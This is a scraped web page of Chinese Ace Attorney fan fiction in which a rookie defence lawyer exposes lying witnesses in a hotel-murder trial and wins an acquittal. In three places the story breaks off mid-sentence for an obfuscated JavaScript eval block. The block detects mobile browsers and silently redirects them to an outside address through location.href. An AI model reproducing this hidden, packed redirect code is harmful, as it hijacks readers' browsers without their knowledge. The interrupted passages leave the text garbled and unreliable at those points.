现在站在证人台的,是一位身穿棕色格子衬衫,戴着厚重黑眼框的男人。凌乱的齐肩发遮住了他其中一只眼睛,整个人看起来颓唐毫无生气。 “我叫小岛丰......今年32岁,在机械制造厂工作。” “没有必要告知你的年龄,证人。”御剑看起来极为头疼,“6月24日,也就是案件发生的当晚你在哪里?” “我在577号房间.......也就是575的隔壁。” “575号,也就是被害人大塚和宏居住的房间吗?” “是的。” 审判长适时出声:“那么,请针对你听到看到的事进行证言。” ~案发当晚在隔壁房间所了解到的事~ “那天我感到特别疲倦,所以在晚上8时左右就回到房间休息。 我刚躺上床,房间立刻就陷入一片黑暗,后来才知道是因为酒店在那个时候断电了。 就在我打算直接这样入睡时,隔壁房间突然传出激烈的争吵声。 重新来电后,我听到隔壁房间的大塚先生一直咳嗽不停,紧接着他房间的门被打开,好像是有什么人正要从里面走出来。我连忙跑到门边想要知道出来的人究竟是不是大塚先生,结果透过门缝却看到了酒店的服务生,也就是山田勇人。 之后因为隔壁没再有什么奇怪的动静,我也就直接睡觉了。 等到第二天,我收拾完毕打开房门准备下楼退房的时候看到隔壁门前站满了警察,才知道大塚先生昨天晚上就已经走了。” —————————————————————— 小岛丰的语气一直都很平和,只有在讲到第二天发现隔壁房间的异样时情绪才有了些许波动,似乎是悲伤,但他的悲伤却只浮于表面。 “审判长,关于证人在证言中提到的断电一事,我这里有一份酒店的停电记录。” 御剑所出示的记录上记载的时间同小岛刚才的证言完全吻合,我记得山田先生也提到过这件事。 “您对此是怎么看呢,审判长?” 御剑神情严肃地看着审判长。 “嗯......并不是直接目击而是间接听到声音吗,同时又只有被告在被害人死前与他接触过,的确具有重大嫌疑。” “不过,”审判长沉吟,“辩护人,请开始讯问。” 看来,到我上场的时间了。 “好的。”我转身面朝证人台的方向,“小岛先生,请问你是否有听清隔壁房间争吵的内容?” 5. 逆转酒店4 “真是奇怪的问题,吵架的内容跟案件有什么关联?还是说辩护人想通过提出毫无价值的问题来拖延时间?” 御剑语带讽刺地问。 “嗯......辩护人,你的理由是什么?” 审判长此话一出,法庭上众人的眼神齐齐聚到了我的身上,令人压力倍增。 我握住自己那只颤抖不已的右手,深吸一口气正声道:“审判长,从证人刚才的证言中可以知道,争吵或许就是这次事件发生的主要原因,换而言之,只要知道争吵的内容,我们就能够得到凶手的杀人动机。当然——也可以洗清某人的嫌疑。” “洗清嫌疑?” “是的,大塚和宏与山田勇人不是什么旧相识,两人之间也并不存在积压已久的旧怨,这样看来,山田根本没有必须要杀害大塚的理由。仅仅因为争吵就要对对方下手,其中说不定还有更深层的原因。” “这不过只是你毫无证据的猜测而已,”御剑不耐地摆手,“你很了解山田勇人吗?就算知道了争吵的内容又怎样,只凭言语可无法证明他的无辜。” 啊啊啊啊真是,虽然很不甘心,但他说的没错,我与山田勇人不过才见过一面,即使我再相信他也十分清楚单凭证言是无法让法庭中的其他人对山田产生信任的。 现在看来只好放弃这个问题,仔细回想小岛丰刚才的证言,我再次开始了讯问。 “证人,你说在房间来电后听到隔壁传来咳嗽声,但你怎么能够确定那就是大塚和宏在咳嗽呢?按你的证言来说,当时房里应该有两个人才对。” 面对我的质问,小岛丰依旧表现得十分镇定,“我曾在当天下午与大塚和宏在走廊里打过照面,所以对他的声音有印象。” “你们相遇的场景是怎样的?” “登记完上去寻找房间的时候,刚好遇见大塚先生在走廊尽头的窗户边站着吸烟,互相打了招呼才知道他就住在隔壁房间。” “你确定他当时是在吸烟吗?” 小岛丰斜睨了我一眼,言语中带着一丝鄙夷,“他当时转身过来对我说话,一张口烟雾就全扑在我的脸上,这我可忘不了。” “原来如此,可是,这样一来,这不就跟你的证言产生矛盾了吗,小岛丰先生?” “矛盾?能有什么矛盾。”小岛丰满不在乎地开口。 “嗯........”,我装作一副苦恼的样子取出证物袋提到眼前,“为什么大塚和宏不能是因为烟而咳嗽?这可是从他房间地毯上搜集到的烟灰,至于发现的位置——碰巧,就在他倒下的地方。” 太棒了!这下你没话说了吧,小岛丰。 我极力压制上翘的嘴角,心里乐开了花。 小岛丰的脸上第一次出现惊慌的神色,支支吾吾半天说不出辩驳的话。 “因为吸烟咳嗽又怎样?难道改变导致咳嗽的原因就能证明被告的清白?”御剑轻笑出声,用手指点点头,又朝着我摆了摆。他的加入让我好不容易平复的心又被吊了起来,小岛丰也因他的开口而得到短暂的喘息,“辩护律师,你未免也太过天真。就算是因此而咳嗽,之后证人可是没有再听见隔壁房间有任何动静,不刚好证明咳嗽的那个时间段大塚还活着,是在声音消失的后来才遭遇的毒手。” “最重要是,”御剑的眼光顷刻变得犀利,如一把利剑向我刺来,“辩护人,证明山田勇人清白的证物,你有吗?” 审判长也看向我,眼中满是期待。 “辩护人,那样的证物,你有吗?” 那还真没有。 我暗暗啧了一声,半是不情愿地开口:“我在现场并没有发现能够直接证明山田无罪的证据。” “既然如此,我想我们也没有必要浪费时间继续纠缠下去了。审判长,请你结案吧。” 真反常,在御剑脸上我看不到一丝又一次胜利的喜悦与高傲,他的脸上只写满了烦躁与不悦,这是为什么? “等等!” 比起分析他的微表情,现在还有更重要的事等着我去做。 “辩护人,你还要挣扎吗?”御剑闭眼冷声道。 “我只想证实一件事,”那一刻我竟出奇地冷静,“这件事,可以直接确定山田是否具有作案的时间。” 审判长犹豫地看向检察官席,御剑并不开口,只略微点头朝他示意。 “辩护律师,请继续你的讯问。” 这次我省去所有冗杂的问题,单刀直入道:“小岛丰,你开门看见山田勇人的时间是在几时?” 而小岛丰对这个问题显然也早有准备,“9时40分,我开门前看过手表了。” 说着,他拉起一边的衣袖,露出戴在手腕的机械表。 “你肯定表上时间是准确无误的?” “嘁,我每天都会核对上面的时间,怎么可能有错。” “你这么说的话,我就放心了。” “什,什么意思?”小岛丰一脸错愕。 “没有什么啦,只是我这里刚好有与你证言相矛盾的证物而已。” 我慢条斯理地取出那张打卡表向法庭的众人介绍:“这是酒店所有人员的工作记录,根据规定,每一位员工都需要记录签名的时间,而山田勇人在这页填写的时间是晚上8时33分——可比小岛先生你说的时间早了整整一个小时。” “那么,现在究竟是怎么一回事呢?既然小岛先生没有记错时间,那这又是怎么回事?” 小岛丰此刻石化般呆愣在原地,半晌才回神过来不住用手抓挠着自己的脸,从喉咙中不断发出嘶哑的低吼。 “为什么........那种事情.........到底哪里有问题.......” 他近乎疯魔一般自言自语,彻底忽略周遭所有事物,连审判长的呼声也没听见。 “法警在哪,快把人带下去!” 就连被拖走的时,小岛丰嘴里都还在不停重复那几句话。近乎闹剧一般的开场,处处矛盾的证言,还有表现得异常抽离的御剑怜侍。在检方那边,这起案件到底是怎样的? 只是,现在看来还没有结束。 “审判长,请允许我传唤最后一位证人入场。”说话时,御剑的神情依旧淡漠。 “哦?!居然还有一位证人?”审判长惊讶片刻后沉吟一会儿,“嗯,我知道了,让那位证人出庭作证吧。” 语毕,一位身穿黑色无袖连衣裙的女子缓步走到证人台后。等她抬起头,我才看清这是一位有些年纪的凌厉女郎。卷翘茂密的长发配上细长弯曲的挑眉,加上红唇,还有那双细致勾勒出的深邃眉眼,是极具攻击性与威慑力的面容呢。 好有气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266030|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势,应该是一位职业女性吧。再想想自己,真是一眼就能让人看出是菜鸟啊....... “证人,请说出你的姓名与职业。” “大塚薰,会社职员。” 是一句废话也不多说的类型吗,不仅性格帅气,名字也很好听。不过,居然跟大塚先生一个姓氏,会是他的亲人吗,同一个家族之类的。薰这个名字也很耳熟呢,我是不是在哪里听到过。 在我胡思乱想的空档,似乎早已习惯这位证人说话风格的御剑替她补充道:“证人与被害人大塚和宏之间存在夫妻关系,并且在案发当日与他通过电话。” “那么,请开始你的证言。” ~通话的内容~ “6月24日下午,我接到和宏打来的电话。 在电话中他描述酒店有一位员工偷了自己最为珍视的东西还不承认,让他非常生气。 他和那个人大吵了一架,并且向我透露“想要去举报他”。” —————————————————————— “这就结束了吗???” 审判长一副不可置信的模样,大张着嘴,眼里满是疑问。 “这段证言已经足够证明山田勇人有充足的杀人动机,不需要多余的内容修饰。” 御剑语气平静,言语中却暗含不可反驳。 “这样,这样吗?” “难道不是吗?” 御剑抱臂反问。 “也,也是呢。仔细想想,被举报就意味着会失去工作,因为这个怀恨在心所以伺机报复也说得通。嗯,的确是很强的杀人动机啊。” 为了增强话语的可信度,审判长还故作深沉地点点头。 非常可疑啊,审判长。 “辩护人,你这次又要怎么反驳?如此清晰的动机摆在面前,哼,除非是有明确的证据,否则,光凭那套“不断追问,找人语病的”卑鄙做法,可不能让人信服。” 就像是要让我听清话中的所有内容,御剑每说几字就要停顿几秒,我也才回想起曾在大塚和宏的通话记录中看到过“薰”?真奇怪,上面明明记录着两人有过两次通话,但她只说了其中一次的内容,难道,关键在另一次通话? “辩护律师,如果你没有什么问题,那我就宣布此结案了。” “审判长!” “!是怎么了吗?” “证人,刻意隐瞒了一件重要的事。” “是吗,证人,这是怎么回事?” 大塚薰目视前方不做回应,时间在这一刻凝滞,她的沉默久到审判长都要忍不住要再次开口。 “证人——” “你想问什么?” 她转头看向我的眼神让人没由来一阵紧张,连带提问也变得磕磕巴巴,“在现场,在现场发现大塚和宏的手机中,有一位与你同名,叫做“薰”的联系人。通话记录显示,你们在那天下午有过两次通话......可是你刚才并没有提起这点。我想知道另一次通话的内容。” “呵,”大塚薰并未着急作答,低头看着桌面的她不知在思索什么,“那次通话后,他的确又打过一次。他说已经和那个人解开误会,还发现对方与自己兴趣相投。” 她的脸上逐渐现出一抹怀念,语气也轻柔起来,“他说那句话的时候真的很开心。” 6. 逆转酒店5 完全陷入回忆里了呢,大塚薰。 不过多亏她这段话,所谓强不可破的杀人动机,现在已经彻底瓦解。 “审判长,我想您也听到证人刚才的这段发言了。大塚和宏在后来已经与山田勇人达成和解,两人的关系还因此更进一步。这样一来,山田所谓的杀人动机,根本就不存在。” 审判长在闭眼沉思,御剑却罕见地什么也没说,只抱臂敛眸望着某处。 “看来还没有办法给这件事下明确的定论啊。缺少充足的动机与证据,现有的调查也不足以支撑结论。御剑检察官,请你继续进行调查。” “关于‘山田勇人’一案的审理,到此为止。” “本日就此闭庭!” —————————————————————— 6月28日下午1时 地方法院被告第5休息室 —————————————————————— “知念律师,真的非常感谢!不过接下来要怎么办呢?听这里的人说,御剑检察官是位非常厉害的人物,也是一位无论如何都要让罪犯得到应有惩罚的人。现在检方认为我是凶手,我是不是一定会被他送进监狱?” 山田越说越激动,情绪也愈发沮丧。 “也不用这么悲观嘛,而且,看御剑检察官的样子,他对这件事也并不是十分确定。” 我一面说,一面回想刚才御剑在法庭的表现。比起刁难更像是引导,再想一想他对成步堂哥的样子.......还是很温柔啦。 “不过为了明天的庭审,还需要再去酒店进行一番调查。对了山田先生,你知道隔壁客房的另一位客人吗?” 山田摇摇头,“我只知道他们案发第二天就退房离开了。” “这样吗.......” 既然是隔壁客房的两人向警方举证的山田,那为什么今天出庭的小岛丰总是一副状况外的模样?最后还表现得那样惶恐,可惜见不到另外一人——下次,就该轮到他出庭作证了。 —————————————————————— 6月28日某时刻 中原地区分店酒店大堂 —————————————————————— “哟,又见面了,律师小姐。” 前台小姐手拿着一本杂志不停翻看着,头也不抬地朝我打招呼。 “啊,今天又是你值班吗?” 我尝试与她套近乎,想借由平常的话题过渡到那两位房客身上。 “前台只有我一个,所以不是又,只能是我。” 这家酒店,已经凄凉到这般田地了吗。 但总感觉现在的自己更惨一点,完全,完全找不到话题了,好尴尬。 就在我苦思冥想怎样巧妙地假装无事发生开启新的对话时,前台小姐放下手中的杂志,颇为无奈地说:“说吧,这次又要打探什么?” “.......那我就直接说了,577的那两位住客,在案发当天有什么奇怪的举动吗?” “577?你问这个干什么?”她皱起眉头反问,虽然不解却还是努力回忆,“他们登记完上楼后似乎一直待在房内,期间也只叫过一次客房服务,并且在案发第二天中午就急忙退房离开,嗯........综上所述,最后一条比较可疑。” 说完她不再理会我,拿起杂志继续聚精会神地浏览起来。 那我上去喽?我在心里默默说道。 真宵留在大堂,我独自走进电梯看着铁门在眼前合上。电子屏数字不断跳转,脑海中思绪万千,隔壁两人的确值得怀疑,要是577里什么线索都没有,即使山田勇人不是真正的凶手,我又可以用什么来帮他?这起案件岂不是要成为悬案了?检方应该也很清楚吧,御剑怜侍看样子也并不完全信任小岛丰,他不会接受让一个原本无罪的人蒙冤入狱吧。 叮,5层到了。我径直走出电梯向走廊尽头,575房门前赫然站着一位令我十分意外的人,是大塚薰。 显然她也注意到了我,微微一笑朝我点点头。她一只手提着公文包,另一边正握在门把上将门向外带。 “请不要关门!”我急忙叫出声。 她稍愣住,随即放开左手轻向内推,侧身站开留出空间。 “谢谢谢谢!” 我一边欠身道谢一边向房内走,当我完全进入房内空间时,背后突然传来大塚薰的声音: “这个房间,很不对劲。” 我顿时停住脚步转身满腹疑惑地望着她,她接着不紧不慢地说:“和宏很怕热,这样的天气,整晚必须开着空调才能入睡,但屋内空调显示的温度,却是默认的25℃。” 我心中更是不解,“酒店在当天停过电,这些电器断电后再通电的确是会回到默认设置没错。” “不,”她轻轻摇了摇头,“这个时节,关闭空调房内的温度过了半小时就会上升。酷热让人难耐,和宏他一向都对气温非常敏感,怎么会偏偏只有那天毫无察觉?” 我一时震惊到说不出话,只怔怔看着她。悲伤在她脸上蔓延,她见我没什么反应,无奈地笑笑,转身离去。 她为什么要告诉我这些? 恍惚间,我坐在了575的床上,右手向后支住全身。被单上异样的触感令我猛地缩回了手,低头一看,原来是压到了空调的遥控。 “25℃。” 我轻念出声,抬头望向挂在壁上的空调,液晶显示屏里也是25℃。 奇怪在哪? 左思右想得不出结果,苦闷之下我只能又起身在房内漫无目的地转悠。 “重要的是温度吗?还是其他什么东西,被我所忽略的东西——” 突然停在这,并不是因为我终于想通,知道大塚薰究竟是想要告诉我什么。而是我在不知不觉间竟然走到了房门边还一头撞了上去。 “好痛!” 我捂着额角连连后退,愤愤地看向眼前的木门。为了预防再次出现同样的情况,我当下便决定将房门关上,关门时还泄愤般使上了劲。 我的行为是幼稚的,可我的心情变明朗了。 转身朝房中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266031|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走去时,我随意暼了眼门后的那面白墙。微微泛黄的墙面却有一片尤其白净的地方,像是新刷上去。 “怎么只重刷了这里?” 伸手触摸这片白墙的瞬间,怪异油然而生。这块墙面并不平整,单用肉眼很难看出来。鬼使神差般,我突然想试试能不能揭开这块新漆的墙皮,手指微微用力,那块“墙皮”就这样裂开,逐渐现出一个小洞。 “原来是因为墙上这个洞啊,不遮住的话的确有些影响美观。” 我微俯下身,想着既然都这样了,不如把这整块都弄出来,下去再跟前台小姐要工具重新粉刷一遍。 说干就干,伸出食指在洞里推来推去,墙粉开始松动,我于是加大力道,期望它能赶紧出来。 终于,洞里的东西彻底脱离周边墙壁,向内倒去。 我原本是想将它抠出来,可手指一伸一弹间,那东西反而被推向了更深处,最后还掉进了隔壁房间。 这个洞,竟然是通的。 凑近洞口向里看,洒满白色粉末的通道直直通向隔壁577号房间。 捻了捻指尖的粉末,不同于墙粉干涩的质地,粘在食指的东西却是有些柔润。移到鼻下一闻,一股清醒提神的薄荷味道。这用来补墙的东西,原来竟是牙膏。 酒店就算再没生意,也不至于穷到要用牙膏来补墙吧? 我有些嫌弃地弹开指尖的白末,心中对577两人的怀疑更深。这下必须要去577调查才行。 走出房间带上门,我乘着电梯来到大堂再一次站在前台。像前台小姐简要说明自己的意图后,在她寻找钥匙时我正望着墙上的钟表发呆。听着时钟嘀嗒嘀嗒转动的声响,大塚薰的话语又重现脑海。 “关闭空调,半小时后温度就会上升,酒店那天停电的时间是.......” 恰好这时,酒店小姐也找到了钥匙,听到我的喃喃自语,她自然地答道:“晚上8时停的电,过了半小时才重新通电。” 我愣愣接过钥匙,冰冷的触感让我刹那间回过神来。我知道问题出在哪儿了! “谢谢!” 匆忙道谢后我急不可耐地冲到电梯间按下5层,只要在577找到那个东西,一切就能引刃而解。 打开577的房门,一模一样的屋内布局让人恍然是否进错了房间。只有细节处微妙的不同提醒来人,这里的确是位于走廊尽头的尾房。 四散的物品,凌乱的床单,不知道酒店是故意保持这幅样子,还是根本没来得及打扫。不过对我来说,这倒是件好事。 床边小桌被搬到了房间正中,桌面桌脚堆满了喝空的酒瓶,垃圾桶里只余一张卷长的收据。用纸包着将它拿出仔细查看,不是酒就是各种零食,难怪这两个人根本不出房间。 被我挖空的小洞明晃晃挂在墙上,我转身走进厕所,垃圾桶里果然丢着几支用空的牙膏。 这些还不够,我暗想。回到房中四处搜寻,翻遍每一个角落也没能找到我想要的东西。我一下子沮丧起来,坐在地毯上自言自语。 “到底在哪里啊?” 7. 逆转酒店6 还有什么地方没找过,角落也看看? 附下身靠近地毯,我在柜角与床底间来回扫视。一块黑色阴影就这样闯入我的视线,那块东西远远地贴在左下方的床脚,我于是起身绕到另一边,低头探进半边去取。 坚硬冰冷的触感,弧线握把,需要用力才能扣下的扳机—— “这是......手枪?” 一时间,脑海中原本模糊的图像逐渐变得清晰,零散的碎片终于在此刻拼就成一副完整的画面,现在,我知道该怎样对应那个素未谋面的,577的房客了。 —————————————————————— 6月28日某时刻 拘留所 会面室 —————————————————————— “山田先生,你还记得再次来电后,大塚先生当时是怎样的状态吗?” 山田勇人垂下眼仔细回想,“我走前回头看了一眼,大塚先生那个时候正坐在床上准备重新打开电视。” 说完他停顿了一会儿,嘴张了张,似乎还有话。 “我们原本约定等我换班休息的时间一起观看最爱的节目。但后来临时通知让去杂物间帮忙,我也就忘记这件事了。可惜,再也没有机会了。” 他最后的话语宛如一句叹息,消散在空中。 —————————————————————— 6月29日上午10时 地方法院第2法庭 —————————————————————— “本院在此宣布,开始审理‘山田勇人’一案。” “检方已准备完毕。” “辩方也已准备完毕。” 经过昨天的历练,我开始适应法庭的节奏,也更能控制自己的情绪。 “那么,御剑检察官,请进行开场陈述。” 御剑面无表情地开口:“在昨天的法庭中,现有对被告的动机指控都被推翻。今天我方将提供更为完整的案情经过,以证明除被告外并无第三人有作案动机。” “本院知道了。那么,请传唤这位了解更详细实情的证人。” 只会是那个人了吧,577的另外一人。 “请“武田纯一”出庭。” 御剑语毕,一个不修边幅,三十上下的男人踢着脚晃着身子走到证人台。 “证人,你的姓名与职业是?” 武田纯一旁若无人般用小手手指剔着牙,满脸无所谓。 “证人,请不要无视我的话。” 御剑话里带了怒气与不耐,我一边觉得他真可怜,找到的证人都不太正常,一边又很庆幸,还好自己不是检察官。 不过我没想到,很快就轮到我了。 “哦,名字啊,名字的话,我记得是武田纯一。至于职业,跟昨天那个傻子一样,在制造厂。” 他边说边蜷起手指向外弹射,太过恶心的举动让法庭众人嫌弃到东倒西歪着躲开。 噫!这个人,到底知不知道自己现在是在法庭啊! “直接开始你的证言!” 御剑侧身躲开,满脸愠色。 ~案发当晚在隔壁听到的事~ “唔......我想想。 那天晚上,我在房间里和小岛丰聊天。 8时,房间突然一片漆黑,隔壁也传来了争吵声。 过了半小时酒店重新来电,隔壁房门被打开,透过门缝,看到身穿酒店制服的人从里面出来。 晚上9时有人进了隔壁房间,大概40分钟后才出来。 中间听到隔壁大塚先生不停地咳嗽,还说了一句“好冷啊,把空调关小一点。” 之后就听见一些“死人了”,“意外”的话。 第二天,我睡梦中听到隔壁嘈杂的声音,出去就看到575门前围着一堆人,那个时候才知道,原来大塚先生前一天晚上就已经不在了。” —————————————————————— “嗯.......的确清晰了很多,两次进出的时间也与尸检报告上的死亡时间相吻合。可信度很高啊。”审判长摸索下巴意味深长地说道。 岂止,简直就像是看了尸检报告后现编出来的。我翻了个白眼在内心吐槽道。 “辩护人,看来这次你的工作量增加了不少。”御剑的声音在我听来不免有些幸灾乐祸。 但如果是想要我感到焦躁的话,那可就完全失策了啊,御剑检察官。这么明显的谎言,反而给我减少了不少工作量。 “审判长,拜托请让我开始讯问。” “啊!啊,好的。辩护人,请开始讯问。” 我正过身形紧盯着武田纯一,不放过他脸上任何的细微表情。 “武田先生,为什么只有“死人”,“意外”这两个词你听得格外清楚?” “还不是因为只有这两个词的音调最高,想听不见都很困难啊。” 武田纯一说着做出手指掏耳的动作,好像他现在又被那刺耳的尖叫吵闹到一样。 “既然听到了这种声音,当时为什么不报警?” “谁让那个什么大塚喜欢把电视的声音开到很大,我那个时候还以为是剧里的台词对白之类,完全没有往凶杀案这方面想啊。” 他轻描淡写的语气听得人没由来一肚子气,我挑了挑眉,再跟他在这句话上纠缠下去,今天的庭审就得不出个结果了。 “你说你听到大塚和宏说了一句“好冷啊,把空调关小一点。”是吗?” “对啊。”武田纯一没好气地回道。 “可这是根本不可能发生的事啊。” 我架起下巴,佯装苦恼思索的模样。 “什么不可能,我可是在现场亲耳听到的,你凭什么质疑我?” “当然是因为——我有证据。” 自信拿出空调遥控,我将数字屏的一侧展示在众人面前,得意地晃晃。 “这算什么啊。”武田纯一讥笑道。 “重点在上面的数字,”我用食指敲了敲数字屏,“上面显示的温度是默认的25℃。” “哦,所以呢?”武田纯一满不在乎地反问道。 “所以说,你刚才的证言,根本就是编造出来的谎话!” 砰一声,我用力拍在桌上,一手直直指向证人台的武田纯一。 “绘里姐,干得漂亮!” 真宵在一旁开心地说道。 “好像不知不觉就做了成步堂哥的招牌动作。”我不好意思地摸了摸脸。 “喂,你说我说谎是什么意思?这个还没解释清楚,你就开始庆祝胜利了?” 武田纯一一手撑在台上,横眉睚眦地看着我。 “酒店在8时30分重新来电后,除非重新调整,否则房间里的电器大都会保持默认的设置模式。25℃就是空调的默认温度,我手中的遥控是从575号房搜寻出的,这上面显示的数字表明,大塚和宏在房间重新通电后,根本没有打开过空调。” 武田脸上的怒意更深,手也紧握成团,青筋叠暴而起。 “这只能证明证人没听到这句话,无法证明被告的清白。” 御剑的话让武田冷静下来,他赶忙笑着附和,“对啊,我没听到又怎么样,你还能证明我说的其他话有假吗?” 你自己说的,不怪我。 我挂起一抹微笑,缓缓开口:“当然————” 在武田纯一越发明显的得意中,我脸上的笑意也愈深。 “当然可以。” 武田纯一的脸霎时变得苍白,不等他开口,我先向御剑怜侍问到:“御剑检察官,请问作为伴侣的大塚薰的证言,可信度如何呢?” “如果不可信,昨天也不会请她出庭作证。” “那就好。”我舒了口气,继续说道:“大塚薰表示,大塚和宏是位极其怕热的人。在现在的气温下必须要开一整晚的空调才能安心入睡。可是,再次通电后,房内的空调却没有再被打开。对于一个怕热的人来说,这是非常不正常的事。” “更何况在现在的气温下,在一个关闭门窗的密闭空间里,气温将上升得更快。之前的冷气半小时后就会逐渐消失,大塚和宏再怎样也会有所察觉,重新打开空调再调到适合的温度才对。除非——他在酒店再次通电后不久就已经遇害了。” “!” 审判长无疑被我的话所震动,瞪大眼睛张着嘴一句话也说不出。 “你的结论是什么?”御剑放下交叉抱住的双臂正色道。 “证人所说的9时后看到有人进出,是根本不可能发生的事。且大塚和宏的死亡时间并不是9时40分至10时,而应该是8时30分至9时。” 接连被信息轰炸的审判长现在已经呆在座椅上满脸震撼了,证人台的武田纯一更是脸色阴沉,双唇紧闭。 “审判长,请原谅我。” 御剑兀突向着审判长鞠躬行礼,这句无头无尾的道歉无疑让审判长更加手足无措。 “哦???御剑检察官,你究竟是要我原谅你什么?” “请原谅我现在才将这份材料呈报上来,”御剑拿出一份文件不紧不慢地解释:“这份最新的尸检报告,是今天才由警署的同事递交到我的手上。开庭前我也只粗略浏览一遍,希望您能允许我现在在庭上宣读报告中新增的内容。” “原来是这样,嗯,那就拜托你了。” “心脏有一处贯穿伤。” 短短一句话,却让在场所有人瞬间沸腾。这个发现似乎预示着大塚和宏的死因并不是原始版本中的“被人殴打致死”。 真是及时啊,新的尸检报告。 “以上,就是尸检报告中的新增内容。” 御剑说完将材料交给审判长,在这个沉默的间隙,证人台上武田纯一的脸却是几番变化定格在了一片惨白。 在与御剑视线交错的一瞬,我看懂了他没有说出的言语:接下来,该你表演了。 “审判长,我要向您指控武田纯一,他才是真正的杀人凶手!” 审判长被我猛然升高的音量惊到差点连手中的木槌都扔在了地上。 “辩护人,你说你要指控证人。你的证据又是什么?” “证据就是这个,在577号房间找到的真正凶器,手枪。” “哦?!”审判长先是一惊,随后立刻沉下脸,“证人,这个你怎么解释?” “可是这,这也有可能是上一位房客留下的不是吗?”武田纯一磕磕巴巴地开口,脸上冷汗直流,“对,对啊!怎么就能确定是我的东西?在我之前也有人入住过那个房间不是吗!?” “他说的有道理,辩护律师,你还有其他证据吗?” 在众人诧异的目光中,我举起从桌下拿出的一袋牙膏,“这个,就是可以佐证弹夹的确属于武田纯一的证物。” “哈哈哈哈哈哈哈哈哈哈!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266032|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武田用力拍打桌面捧腹大笑起来。 “那个服务生请的律师果然跟他一样蠢!哈哈哈哈哈哈哈!” 不生气,我不生气。让他笑吧,毕竟他马上就要笑不出来了。 “肃静!肃静!”审判长举起木槌重敲几下,冲着我无声叹一口气又摇了摇头,“辩护律师,请不要在法庭开这些无聊的玩笑。你如果再这样不认真,就必须接受惩罚了。” “审判长,这才不是什么冷笑话!”我正色道。 “请看这里,”说着,我将塑料软管的背面展示了出来,“为了方便记录,酒店每日都会在供给顾客的物品上张贴当天的日期。而这几只我在577号房中搜寻到的牙膏标签均为‘6.24’。也就是说,这么多数量的牙膏,都是为当天住在577号房中的两人所使用。” “可这不是很奇怪吗?难道武田纯一和小岛丰并不是人?据我所知,只有某种长着一身牙齿的怪物,对牙膏的需求才这么大。于是,我留在577房中寻找这个问题的答案。最后,我终于在墙上找到了谜底——牙膏,是用来粉饰墙上的弹洞。” “手枪恐怕是因为意外才不慎掉落在床底,现在,只需要对比墙上的弹洞大小是否与这只手枪子弹的直径吻合,就能知道一切的真相。” “原来如此,嗯......御剑检察官,那就请你——” “杀人动机是什么?证人与大塚和宏并非旧识,也毫无仇怨不是吗?” 御剑突兀的提问打断了审判长原本将要说出的话,他定定看向我,执着寻求一个答案。 “杀人动机吗?嗯......的确很难说清呢。”我用左手虚掩下巴,沉吟片刻后缓缓道来:“但这件案子其实非常简单,因为这完全就是一起意外事件啊。” “这是什么意思?”审判长发问。 “在577号房间里我还发现了一张收据,证明武田纯一与小岛丰在案发当天饮下大量酒精。正因如此,或许是在争执中,或许是在打闹中,被两人拍落地上的枪突然走火,而隔壁的大塚先生就这样不幸成为枪下的冤魂。预感有大事发生的两人在慌乱之中想起用牙膏补全墙上的弹洞,之后又在房内度过了惊魂未定的一夜,这才会在第二天匆忙逃离时忘记带走床底的手枪。” 在我说话的时间,武田纯一始终都在用他双阴鸷的眼睛死死盯着我。他背后的黑气凝聚成实体缠绕在四周,隐隐还有向外扩散的趋势。 “那又怎样!”仿佛最后的挣扎,武田死死抓住桌台两侧,身体用力前倾梗着脖子恶声恶气道:“这只是你的推测!!尸检报告上的死因明明就是被人殴打致死!!” “恐怕要让你失望了,”御剑的加入彻底粉碎了武田纯一最后的一丝希望,“啊,刚才忘记说了。新的尸检报告里,死因也被修正为“被子弹贯穿,当场死亡。”。死亡时间也更加准确,准确到晚上8时30分至35分,这短短的5分钟内。” “不可能,不可能......不可能!不可能!!不可能!!!” “他死了就死了,凭什么我要因此付出代价!这明明只是个意外,这明明只是个意外!” “即使是无意的错误,也依旧给别人带来了痛苦。死去的人也无法重回人间。武田纯一,你必须要为自己的错付出代价。”漠然看着在证人台大吼大叫的武田,我冷声说道。 “况且真正愚蠢的人是你,被殴打致死的人身上怎么可能一点外伤也没有,居然会相信那种事情,蠢死了!” 太!棒!了!我终于可以发泄出来了! 冷静不下来的武田被法警一左一右架起抬到了休息室,法庭重归平和。我默默地等待最后一刻的到来。 “知念律师,这是你的第一起案件,尽管表现仍旧有些不足,倒也还算可以。” “谢——谢审判长?” “既然真相已经揭晓,那么——” 审判长的语气逐渐严肃,再次开口,只听见他说:“本院在此宣布‘山田勇人’的判决结果。” “无!罪!” “本日就此闭庭!” —————————————————————— 10月29日下午1时21分 地方法院被告第五休息室 —————————————————————— “真是,真是多亏了你!” 